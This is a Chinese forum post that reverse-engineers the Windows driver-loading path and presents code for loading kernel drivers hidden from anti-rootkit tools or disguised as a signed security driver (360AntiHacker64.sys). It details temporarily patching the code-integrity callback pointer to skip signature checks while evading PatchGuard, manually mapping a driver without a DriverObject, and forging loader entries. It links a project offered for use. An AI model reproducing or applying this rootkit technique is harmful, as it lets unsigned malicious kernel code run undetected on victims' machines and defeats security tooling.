“可过PG”的驱动伪装与隐藏
潜水太久啦,来水个帖。
1 驱动是如何加载的
1.1 调用路径分析
非常简单,手写个驱动,在DriverEntry上加上一句:
DbgBreakPoint();
手动加载,调用栈如下:
发现华点:
ExpWorkerThread -> IopLoadUnloadDriver -> IopLoadDriver -> DriverEntry
IopLoadDriver基本上只有第一个参数没确定意义了。
使用IDA对IopLoadUnloadDriver
进行引用分析。来自IopLoadDriverImage
:
再对IopLoadDriverImage
引用分析。来自NtLoadDriver
。
这唯一的一个参数,就是注册表对应的服务路径啦,例:
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Test_Drv
这个注册表是在你 Ring3 调用 CreateServiceW
的时候就填好的。
那么调用路径就清晰啦:
添加注册项 -> NtLoadDriver -> IopLoadDriverImage -> IopLoadUnloadDriver -> IopLoadDriver -> DriverEntry
1.2 IopLoadDriver
这个函数是基本算是最重要的函数啦,毕竟是它调用的DriverEntry。
而分析上述调用路径的唯一作用,就是为了得到 IopLoadDriver
参数的意义。(注册表的 Handle)
由于这个函数比较大,仅分析重要部分,伪代码如下:
status = NtQueryKey(KeyHandle, KeyBasicInformation, P, Length, &Length);
status = IopBuildFullDriverPath(&v38, KeyHandle, &Destination);
status = MmLoadSystemImageEx(&Destination, 0, 0, 0, &DriverSection, &BaseAddress);
OBJECT_ATTRIBUTES Obj_Att = { 0 };
Obj_Att.Length = 0x30;
Obj_Att.Attributes = 0x250;
Obj_Att.ObjectName = &ObjectName;
status = ObCreateObjectEx(KeGetCurrentThread()->PreviousMode,
IoDriverObjectType,
&Obj_Att,
0,
&out,
0x1A0,
0,
0,
&DriverObject,
0i64);
memset(DriverObject, 0, 0x1A0ui64);
DriverObject->DriverExtension = &DriverObject[1];
*&DriverObject[1].Type = DriverObject;
ReturnLength = 28;
memset64(DriverObject->MajorFunction, IopInvalidDeviceRequest, 0x1Cui64);
v18 = BaseAddress;
v19 = BaseAddress;
*&DriverObject->Type = 0x1500004;
v20 = RtlImageNtHeader(v19);
*v40 = v20->OptionalHeader.MinorImageVersion | (v20->OptionalHeader.MajorImageVersion << 16);
v21 = &v18[v20->OptionalHeader.AddressOfEntryPoint];
if ( (v20->OptionalHeader.DllCharacteristics & 0x2000) == 0 )
DriverObject->Flags |= 2u;
DriverObject->DriverInit = v21;
DriverObject->DriverSection = DriverSection;
DriverObject->DriverStart = v18;
DriverObject->DriverSize = v20->OptionalHeader.SizeOfImage;
status = ObInsertObjectEx(DriverObject, 0i64, 1i64, 0, 0, 0i64, &Handle);
status = ObReferenceObjectByHandle(Handle,0,IoDriverObjectType,
KeGetCurrentThread()->PreviousMode,
&DriverObject,
0i64);
ZwClose(Handle);
DriverObject->HardwareDatabase = PCmRegistryMachineHardwareDescriptionSystemName;
DriverObject->DriverName.Buffer = ExAllocatePool(NonPagedPool, ObjectName.MaximumLength);
DriverObject->DriverName.Length = ObjectName.Length;
DriverObject->DriverName.MaximumLength = ObjectName.MaximumLength;
memcpy(DriverObject->DriverName.Buffer, ObjectName.Buffer, ObjectName.MaximumLength);
status = ZwQueryObject(HRegistry, 1, PSTR, 0x1000, &NtQueryObjReturnLen);
DriverObject->DriverInit(DriverObject,PSTR);
IopReadyDeviceObjects(DriverObject);
1.3 MmLoadSystemImageEx
这个函数非常强大,传入需要加载的驱动的路径,就可以直接加载一个可直接运行的无DriverObject驱动。(请读者自行测试)
功能包括:
创建DriverSection、映射内存、修复重定位、将DriverSection添加入PsLoadedModuleList、填充IAT、填充_security_cookie、...(这几个功能已经够用了)
没错,上述的 DriverSection 就是 驱动模块链表 连接的结构体 :_LDR_DATA_TABLE_ENTRY。
同样,这个函数比较大,这里仅列出重要部分伪代码:
status = MiGenerateSystemImageNames(DriverPath, zero1, zero2, &v69, v73, &String1);
status = MiObtainSectionForDriver(&String1, DriverPath, 0, 0, &DriverSection);
PUCHAR Section = DriverSection + 0x70;
int out_uk;
DllBase = MiGetSystemAddressForImage(Section, 0, &out_uk);
KIRQL OldIrql;
KeRaiseIrql(1, &OldIrql);
status = MiMapSystemImage(Section, DllBase);
KeLowerIrql(OldIrql);
DriverSection->SizeOfImage = DllSize;
DriverSection->DllBase = DllBase;
status = MiConstructLoaderEntry(DriverSection, &OutU, &AString, 0, 1, &NewDriverSection);
略
略
至此,一个 可在驱动模块链表(PsLoadedModuleList)可以找到的驱动就加载完成了。
1.3.1 数字签名验证部分
如果你需要隐藏或伪装的驱动本身有签名,就不用patch了,如果硬要加载一个无签名的,那才需要patch,最好不要啦,因为有蓝屏几率。
在通过MiObtainSectionForDriver
获取DriverSection的时候,Windows就会进行数字签名认证啦!调用栈如下:
通过 SeValidateImageHeader
进入 CI.DLL 进行签名校验,CL.DLL 部分就不再继续跟了,我们主要看如何进入CI.DLL:
网上一般通过Patch CI!g_CiOptions
实现绕过数字签名校验,这边就不搞这么复杂了,我们 patch qword_14040EF40
,换成我们的函数,返回 STATUS_SUCCESS 就可以通过签名校验了,虽然 qword_14040EF40
受PG保护,但是只修改一会,加载完驱动就改回去,PG就反应不过来了。(我试过很多次,基本上改了 qword_14040EF40
后几个小时PG才能反应过来)。定位:
win10、win11 我都看过, 都是在 &SeCiCallbacks + 0x20 的位置,可能有些版本不同。
2 开始操作
操作很简单,通过调用上面说到过的未导出函数,就能实现。
需要隐藏的驱动或伪装的驱动代码如下:(主要是创建一个 名为 ICEY_Device
的设备,创建成功说明 驱动加载成功)
#include<ntddk.h>
#define my_device_name L"\\Device\\ICEY_Device"
#define my_link_name L"\\??\\ICEY_Device"
NTSTATUS Exit(DRIVER_OBJECT* DriverObject) {
UNICODE_STRING symbolLinkName;
if (DriverObject->DeviceObject)
IoDeleteDevice(DriverObject->DeviceObject);
RtlInitUnicodeString(&symbolLinkName, my_link_name);
IoDeleteSymbolicLink(&symbolLinkName);
return STATUS_SUCCESS;
}
NTSTATUS Test(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
NTSTATUS Status;
DbgPrint("Create File Finsh!\n");
Status = STATUS_SUCCESS;
pIrp->IoStatus.Status = Status;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DrvObj, PUNICODE_STRING Str) {
UNICODE_STRING device_name, device_link_name, event_name1, event_name2;
RtlInitUnicodeString(&device_name, my_device_name);
RtlInitUnicodeString(&device_link_name, my_link_name);
NTSTATUS status = 0;
PDEVICE_OBJECT ShellDevObj = NULL;
status = IoCreateDevice(DrvObj, 200, &device_name, FILE_DEVICE_UNKNOWN, 0, 1, &ShellDevObj);
if (!NT_SUCCESS(status))
{
DbgPrint("无法创建设备!\n");
return status;
}
status = IoCreateSymbolicLink(&device_link_name, &device_name);
if (!NT_SUCCESS(status))
{
DbgPrint("无法创建符号链接!\n");
IoDeleteDevice(ShellDevObj);
return status;
}
DrvObj->MajorFunction[IRP_MJ_CREATE] = Test;
return status;
}
编译出来的 驱动文件 名字为 : Test_Drv.sys
2.1 驱动隐藏加载
这里就贴一下伪代码,实际代码请查看项目:
#define HideDrvPath L"\\??\\C:\\Users\\nihao\\Desktop\\xixi.sys"
UNICODE_STRING Path;
RtlInitUnicodeString(&Path, HideDrvPath);
CIFun = *Pqword_14040EF40;
*Pqword_14040EF40 = MySeValidateImageHeader;
MiGenerateSystemImageNames(&Path, 0, 0, &Out, Out14, &String1);
MiObtainSectionForDriver(&String1, &Path, 0, 0, &PDriverSection);
Section = PDriverSection + 0x70;
DllBase = MiGetSystemAddressForImage(Section, 0, &un);
MiMapSystemImage(Section, DllBase);
ExFreePool(PDriverSection);
*Pqword_14040EF40 = CIFun;
略,请看项目完整代码;
略,请看项目完整代码;
略,这一部分是因为 WDF的驱动 DriverEntry 内有一些特殊操作,不修复就会蓝屏,WDM驱动就没有这个问题;
略,请看项目完整代码;
对就这么简单,就加载了一个隐藏驱动(无DriverObject 、无DriverSection)
由于没有这两个结构体,所以这个驱动一些函数是无法调用的,如何解决这里不赘述了。
在项目中我采取了IO劫持的方式,让我的隐藏驱动创建设备,原理就是给隐藏驱动的 DriverEntry第一个参数传进一个没有设备的DriverObject,详情请看代码。
2.1.1 测试:
ARK工具找不到:
WinObj 双击 设备名字测试:(成功输出 “Create File Finsh!”)
2.2 驱动伪装加载
同上,只贴伪代码,实际代码请查看项目:
#define ADrvPath L"\\??\\C:\\Users\\nihao\\Desktop\\test\\Test_Drv.sys"
#define ODrvPath L"\\??\\C:\\Users\\nihao\\Desktop\\test\\360AntiHacker64.sys"
#define ServiceName L"AntiHacker"
略,详情请看代码;
CIFun = *Pqword_14040EF40;
*Pqword_14040EF40 = MySeValidateImageHeader;
status = MiObtainSectionForDriver(&AString, &ADrvPathUn, 0, 0, &PADriverSection);
status = MiObtainSectionForDriver(&OString, &ODrvPathUn, 0, 0, &PODriverSection);
Section = *(PULONG64)(PADriverSection + SectionOffset);
DllBase = MiGetSystemAddressForImage(Section, 0, &un);
status = MiMapSystemImage(Section, DllBase);
Head = RtlImageNtHeader(DllBase);
DllSize = *(PULONG32)(Head + 0x50);
*Pqword_14040EF40 = CIFun;
PODriverSection->SizeOfImage = DllSize;
PODriverSection->DllBase = DllBase;
status = MiConstructLoaderEntry(PODriverSection, &OutU, &OString, 0, 1, &NewPODriverSection);
略;
略;
略,这一部分是因为 WDF的驱动 DriverEntry 内有一些特殊操作,不修复就会蓝屏,WDM驱动就没有这个问题;
status = ObCreateObjectEx(0, *PIoDriverObjectType, &att, 0, &Out, 0x1A0, 0, 0, &PTDrvObj, 0);
memset(PTDrvObj, 0, 0x1a0);
PTDrvObj->DriverExtension = &PTDrvObj[1];
*(PULONG64)(&PTDrvObj[1]) = &PTDrvObj[0];
for (int i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
PTDrvObj->MajorFunction[i] = PIopInvalidDeviceRequest;
}
PTDrvObj->Type = 4; PTDrvObj->Size = 0x150;
PTDrvObj->DriverInit = NewPODriverSection->EntryPoint;
PTDrvObj->DriverSection = NewPODriverSection;
PTDrvObj->DriverStart = DllBase;
PTDrvObj->DriverSize = DllSize;
PTDrvObj->Flags |= 2;
status = ObInsertObjectEx(PTDrvObj, 0, 1, 0, 0, 0, &DrvH);
status = ObReferenceObjectByHandle(DrvH, 0, *PIoDriverObjectType, 0, &PTDrvObj, NULL);
ZwClose(DrvH);
PTDrvObj->HardwareDatabase = PCmRegistryMachineHardwareDescriptionSystemName;
PTDrvObj->DriverName.Buffer = ExAllocatePool(NonPagedPool, ObjectName.MaximumLength);
PTDrvObj->DriverName.Length = ObjectName.Length;
PTDrvObj->DriverName.MaximumLength = ObjectName.MaximumLength;
memcpy(PTDrvObj->DriverName.Buffer, ObjectName.Buffer, ObjectName.MaximumLength);
status = ZwQueryObject(HRegistry, 1, PSTR, 0x1000, &NtQueryObjReturnLen);
PTDrvObj->DriverInit(PTDrvObj,PSTR);
IopReadyDeviceObjects(PTDrvObj);
2.2.1 测试:
将 Test_Drv.sys 伪装成 360AntiHacker64.sys 。
ARK签名检测:
火绒剑检测:
3 项目地址 & 补充说明
不保证100%可过 PG,只是在我测试 40+小时以上,win10 win11 均未被PG检测。
项目用到大量未导出函数,需要自己想办法获取函数地址。进入 Kernel_PDB.c
InitAllOffSet()
进行修改
管安装不管卸载,卸载驱动请重启电脑哈哈哈哈。
项目地址:
Drv_Hide_And_Camouflage